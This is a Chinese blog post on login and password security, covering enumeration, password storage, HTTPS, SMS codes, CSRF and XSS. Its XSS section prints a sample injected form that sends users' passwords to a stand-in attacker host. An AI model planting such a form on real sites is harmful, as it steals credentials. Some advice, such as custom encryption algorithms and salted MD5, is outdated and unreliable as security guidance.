登陆与密码安全性漫谈

写于2017-10-18

多数业务系统都自带用户登陆模块,而其中最常见的登陆方式为用户名+密码,常见的安全性考虑浅析如下

1、当用户输入不存在的用户名时,提示“用户名不存在”更友好?
容易让攻击者尝试出存在的用户名,具有安全隐患。请统一提示:用户名或密码错误

2、当发现某恶意请求后,限IP?
某广告:每日代理IP量可达100万,不重复

3、数据库存储明文密码?
所有拿到数据库访问权限的人都知道用户的密码,想想多可怕?

4、数据库存储MD5后的密码?
比明文好一点点,但是
某彩虹库广告:共24万亿条记录,共占用160T硬盘
通过空间换时间,一般的字符串批量解密已经是很简单的事情

5、MD5加盐?
首先盐要够复杂,如果是“2017”,那加了跟没加效果差不多
其次盐不能采用固定值,万一被泄露了或被尝试出来了,那会是个隐患,常用的做法是给每个用户分配一个盐值
那用户密码表里面加个盐字段,用UUID总可以了吧?那万一被脱库,盐不也泄露了吗?给盐单独建个库?成本貌似也挺高,万一盐库也被脱了呢?
那把盐一分为二,库里放一部分,代码(/程序配置)里放一部分,那万一数据库和代码一起泄露了呢?
为了这个盐我们还真是操碎了心。所以说架构师具休实施时还需要根据实际情况权衡吧

6、HTTPS
HTTP明文协议,是导致数据泄露、数据篡改、流量劫持、钓鱼攻击等安全问题的重要原因。HTTP协议无法加密数据,所有通信数据都在网络中明文“裸奔”。所以全网HTTPS只是时间问题:
以下为HTTPS核心原理图示:

Step1:客户端请求获得服务端的公钥,公钥也能被攻击者获取
Step2:客户端生成随机密钥(对称加密),并将密钥使用Step1的公钥加密发给服务端,攻击者由于没私钥无法解密
Step3:客户端和服务端都获得了随机密钥,而攻击者没有能得到,所以后续双方通讯的内容均以该随机密钥加密传输理论上是安全的。

7、自定义加解密算法
HTTPS就一定安全了吗?试想一下,如果在客户端和服务端之间存在一个代理,对客户端它装成是服务端,对服务端它装成了客户端,那密码这些核心信息不就泄露了吗?这就是中间人攻击的核心原理。中间人攻击的容易实施的一个前堤是加密算法是公开的,如果客户端和服务端之间采用自定义加密算法(更常见的做法是自定义加密算法和公开加密算法相结合),那势必会提高中间人攻击的成本。注意:自定义加解密算法不能杜绝中间人攻击,但会增加中间人攻击的成本,可以阻止一般通用的中间人攻击。

8、日志Log
按用户名和密码登陆接口,很常见的情况下会被封装成如下所示:

@Data
public class LoginInfo{
    private String userName;
    private String password;
}

而记录日志时喜欢用log.info(loginInfo);一不注意,就会把密码输出到日志中。
所以当重写ToString方法时, 要注意把敏感信息去掉不展示,如本例中的password。

9、图片验证码
图片验证码是为了防止机器尝试暴力登陆,但是这也极大的降低了用户体验。以前的验证码用肉眼是很容易识别的,随着验证码机器识别技术的提高,验证码也越来越复杂。有些验证码,连人都识别不出来,更别说是机器了。但是,这就足够安全了吗?!网上验证码人力识别已经形成一个成熟的黑产链了。
趣闻:据说某公司基于其庞大的用户量,当用户登陆时要求其输入别家的验证码,这样他的用户其实是免费帮他识别了一次图片验证码。这也算是社会工程学的运用了吧......

10、短信验证码
随着手机保有量的提高,不少网站以手机做为用户的惟一标识,使用短信验证码登陆也是很常见的做法,也有网站是以用户名、密码+短信验证码作为对登陆安全的增强校验。短信难证码使用时容易引起以下问题:

  • A. 短信接口被刷,网上无数的短信轰炸机就是基于对短信接口的不安全使用引发的
    对策:
    1、统一公司短信服务,使用服务化,所有需要发短信的应用由该服务提供,服务只能由后端调用,禁止从前端直接调用,同时服务加调用方授权检验。
    2、短信服务对某个手机号码发送短信的频度必须加以控制,比如30秒最多只能发一次短信。
    3、如果发短信是用户登陆后的主动操作,应用必须在session层加以控制,如控制其发送频度,控制其可发送的手机号码等,具体根据业务规则而定。
    4、如果发短信是用户登陆前的主动操作,还从session控制已经无法防止接口被刷了。常见的做法是加上图片验证码,即用户发短信前需要输对图片码证码(注意是一步操作哦,跟取钱输密码是同个道理),但是这又降低了用户体验。
  • B. 验证码过短被暴力尝试
    对策:
    1、加长验证码,如4位加到6位,尤其是对于可以直接用验证码登陆的应用
    2、权限控制,例如只用验证码登陆的用户只能获得部分权限,具体是哪些权限依业务而定
    3、服务端加登陆锁定控制,如某用户尝试多次登陆失败后,锁定用户,一段时间后解锁
    4、验证码有效期不要设得太长,如5分钟后过期
  • C.由短信平台泄露用户注册信息
    对策:
    1、尽量选择知名度较高的短信服务平台
    2、核心信息不要通过短信发送,如用户密码
    3、最好有备用的短信通道,鸡蛋不要放在同个篮子里

11、其他网站密码泄露
偷懒是人类的天性,很少有人给自己的不同账号设置不同的密码,哪天邻家的数据库被脱库,很大可能也会殃及你家的用户。最大的挑战在于你能保证自己家的数据安全,却没办法保证邻家的安全。
对策:
1、密码定期更换机制
2、核心操作二次鉴权 (如登陆密码+交易密码,登陆密码+验证码)
3、安全团队跟进邻家恶性脱库事件,对泄露的用户进行标识,发送警告短信、邮件并在用户信息得到进一步验证前锁定用户。

12、风控
暴力破解、使用他家被脱库的账号登陆进入业务系统后的操作流程都会与用户正常使用的习惯上存在较大的差异,基于此,可根据用户操作日志做风控,一旦触发,则锁定用户,要求进一步核实信息。

13、密码控件
安全控件在一定程序上防止了在输入密码时被键盘输入记录直接被截取。它的加密算法是写在 native 里面的,而且公钥也可以直接内置到客户端,中间人无法篡改公钥,也就没办法拿到密码明文。甚至还能加上一些客户端运行环境安全检验的功能,当不安全时拒绝用户输入密码。在一定程度上保障了密码安全。

14、跨站请求
你不能阻止你的用户在访问完你的网站(在未主动退出登陆且会话未超时的情况下)之后继续访问其它网站,而你也不能保证其它网站一定不会是钓鱼网站,钓鱼网站在返回的页面中通过用户浏览器给你的网站偷偷地发起了用户不知情的请求,这就是著名的CSRF(Cross-site request forgery)跨站请求伪造攻击。
常见的防范CSRF攻击的方式是HTTP头加Referer头校验并对每个请求加个CRSF TOKEN,即用户请求生成表单时随机生成一个token返回给客户端,用户提交表单后校验这个token是否正确。一般由于CSRF攻击方只能模拟对跨域站的GET和POST请求,跨域无法获取对方的DOM,所以无法完全模拟用户请求。

15、XSS攻击
输入都是不可信的,假如你的应用是个论坛,攻击用户发个贴子,内容如下:

<form action="xss.moext.com" method="post">
     请输入密码送钱啦:<input type="password" name="password">
</form>

那难保其他用户不会诱导过去真的输入自己的真正密码。解决方案一般是加上完善的过滤机制,或者加入html encode。

总结:
随着程序员安全意识的提高,从当年的SQL注入攻击和Cookie安全,到CSRF和XSS攻击,安全问题也有从后端渐渐蔓延到前端的趋势。用户输入都是不可信的,消息在传输中都是可以被监听的,这就要求我们对输入的信息进行完善的过滤,对传输的消息进行加密。而企业内部及使用的第三方服务(如短信服务商)也存在一定的涉密的可能,要求我们对此要有足够的预案。这里介绍的常见方法也不会是孤立的,而是互相组合灵活运用,而道高一尺,魔高一丈,安全的攻与防,矛与盾也将会一直持续下去......

猜你喜欢

转载自www.cnblogs.com/mzsg/p/11977789.html